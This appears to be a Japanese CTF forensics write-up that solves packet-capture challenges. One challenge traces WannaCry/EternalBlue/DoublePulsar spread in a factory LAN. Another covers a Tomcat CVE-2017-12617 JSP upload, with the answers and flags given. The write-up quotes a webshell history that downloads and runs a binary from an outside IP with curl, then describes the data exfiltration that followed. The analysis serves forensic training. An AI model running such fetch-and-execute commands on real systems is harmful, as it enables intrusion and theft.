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工場用PCの調査概要

工場用PCがランサムウェア「WannaCry 」に感染したかもしれないという設定のシナリオ

工場用PC内の1台に導入されているウィルス対策ソフトがWannaCryからの攻撃を検出

している。ただし、身代金支払い画面はどのPCからも確認されていない。

• 課題： 工場内LANの通信をキャプチャしたファイルが渡されるので、それを調査して

感染を拡大させようとしている動きが見受けられる端末を1台特定する。

• フラグ： 感染端末のIPアドレス（半角） 例：192.168.11.1

• 方針：

– パケットを眺めて不審な動きをしている端末がないか探す

– WannaCryが発するパケットや挙動に関しては多数のセキュリティベンダーさんからレポート

が出ているので、それらを参考にしてキャプチャファイルを読み解いていくと良い
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工場用PCの調査解説

Wireshark を使ってキャプチャファイルを開く

どうやら工場内ではSMBパケットが流れており、ファイル共有が行われている模様
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工場用PCの調査解説

パケットを眺めていくと、ARP パケットが連続して現れていることがわかる
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工場用PCの調査解説

arpでフィルターをかけてみると、10.10.10.7が同一ネットワーク内（10.10.10.0/24）を探索

しているような動きが見受けられる

通常ではあまり考えられない動きなので、10.10.10.7を不審な端末として調査を続ける
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工場用PCの調査解説

不審なARPパケットが流れ始めた辺りから、プロトコルをSMB Pipeとしたパケット

（PeekNamedPipe Request, FID: 0x0000 ）が現れていることがわかる

No.991では10.10.10.3から、No.1014では10.10.10.5から、宛先を10.10.10.7として

Error: STATUS_INSUFF_SERVER_RESOURCES というレスポンスが返っている

レスポンスが返っている
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工場用PCの調査解説

「Error: STATUS_INSUFF_SERVER_RESOURCES wannacry 」などでググってみる

と以下の事実がわかるはず

• 「FIDを0x0000としたPeekNamedPipe リクエストに対し、

STATUS_INSUFF_SERVER_RESOURCESというエラーが返る場合」は

MS17-010の脆弱性が存在する

• WannaCryはこのMS17-010の脆弱性を使い、EternalBlue というエクスプロイトを

用いてDoublePulsar というバックドアを設置しようとする

• ハードコードされた192.168.56.20というIPアドレスを用いたSMBコネクションにおいて、

Multiplex ID を65とした時に81が返ればDoublePulsar が既に設置されている

• EternalBlue を用いてDoublePulsar を設置するときにはハードコードされた

172.16.99.5というIPアドレスを用いたSMBコネクションを張る
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工場用PCの調査解説

WannaCryは以下の3種類のSMBコネクションを張ることが知られている

1. 脆弱性の有無の調査

1. FIDを0x0000としたPeekNamedPipe リクエスト

2. バックドア（DoublePulsar ）の有無の調査

1. ハードコードされた192.168.56.20がSMBコネクション中に現れる

2. MultiPlex ID を65とした場合に81が返れば設置済み

3. MS17-010の脆弱性がある端末に対する攻撃（バックドアの設置やDLLの送付・実行）

1. ハードコードされた172.16.99.5がSMBコネクション中に現れる
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脆弱性有り

脆弱性調査

脆弱性無し

DoublePulsar の有無
有り

無し
EternalBlue を用いて

DoublePulsar をインストール

DLLを送付・実行

DLLを送付・実行

DoublePulsar の有無
有り

無し

DLLを送付・実行



工場用PCの調査解説

10.10.10.5に対してDoublePulsar の有無をチェックしている（送信元は10.10.10.7）

Multiplex ID 65 が返っていることからDoublePulsar は設置されていない
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これはFollow TCP ストリームした結果
（該当パケットを右クリックして「追跡」→「TCPストリーム」とすると
SMBコネクションの一連の流れを綺麗に見ることができます。）



工場用PCの調査解説

10.10.10.5に対してDoublePulsar を設置しようとしている（送信元は10.10.10.7）

ハードコードされた172.16.99.5というIPアドレスも見える
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工場用PCの調査解説

また、10.10.10.3に対しても同様のパケットを送っていることがわかる
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工場用PCの調査解説

以上の事実より、10.10.10.7が

「感染を拡大させようとしている動きが見受けられる感染端末」

よってフラグは「10.10.10.7」となる

※補足

問題文には「WannaCry感染時に表示される身代金支払い画面はどのPCからも確認さ

れておらず」とありますが、実際にWannaCry2.0亜種にこのような挙動をするものが存在

します。暗号化の挙動が無くなっていて、DoublePulsar を拡散する目的のみで作られた

のか、目的がいまいち不明ですがそのようなものも存在するということだけ書いておきます。

参考： https://www.mbsd.jp/blog/20170607.html
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問題2 ~ 4 の概要

• DMZに設置された脆弱なApache Tomcat が攻撃を受けたという設定のシナリオ

• 具体的な課題は以下の通り

2. 攻撃者の IP アドレスを特定せよ
3. 攻撃者が使用した脆弱性の CVE 番号を特定せよ
4. 流出したデータを特定し、データに含まれるフラグを求めよ
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攻撃者の IP アドレスを特定せよ

• パケットキャプチャファイルを解析する問題

• プロトコル等にフィルタをかけると怪しいペイロードが発見できる
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答え: 52.78.222.102



攻撃者が使用した脆弱性のCVE番号を特定せよ

• HTTP のプロトコルおよび IP アドレスに対しフィルタをかけてパケットを見ると、PUT 
で不正な JSP ファイルをアップロードしていることがわかる

• PUT jsp 等のワードで検索すると Tomcat の脆弱性を見つけることができる
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答え: CVE-2017-12617



流出したデータを特定し、データに含まれるフラグを求めよ

• まず、JSP ファイルに対し cmd=curl –o /tmp/upload http://52.78.222.102/upload  
等のコマンドが送信されており、webshell が作成されていると考えられる。
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流出したデータを特定し、データに含まれるフラグを求めよ

• Webシェルのコマンド履歴は以下である
– curl –o /tmp/upload http://52.78.222.102/upload

– chmod 755 /tmp/upload

– /tmp/upload

• このことから webshell を通じ別の悪意ある実行ファイルをダウンロードし、実行してい
ることが想定できる
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流出したデータを特定し、データに含まれるフラグを求めよ

• /tmp/upload を実行した後のパケットをみると、TCP で 5000 ~ 5002 番ポートになに
かしらのデータを送信していることがわかる。
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流出したデータを特定し、データに含まれるフラグを求めよ

• TCP で 5000 ~ 5002 番ポートに送信されているパケットをみると、"PK" というマジッ
クナンバーと文字列が見え、ZIP 形式のファイルが送信されていると仮説が立つ
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流出したデータを特定し、データに含まれるフラグを求めよ

• それらパケット中のデータを抽出し、つなぎ合わせる

• すると、ZIP 中のファイルから、XLSX 形式のファイルであるとわかる
• XLSX 形式のファイルを適切なリーダーで読み込むとフラグが得られる
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答え: FLAG_PCAP1ZFUN!


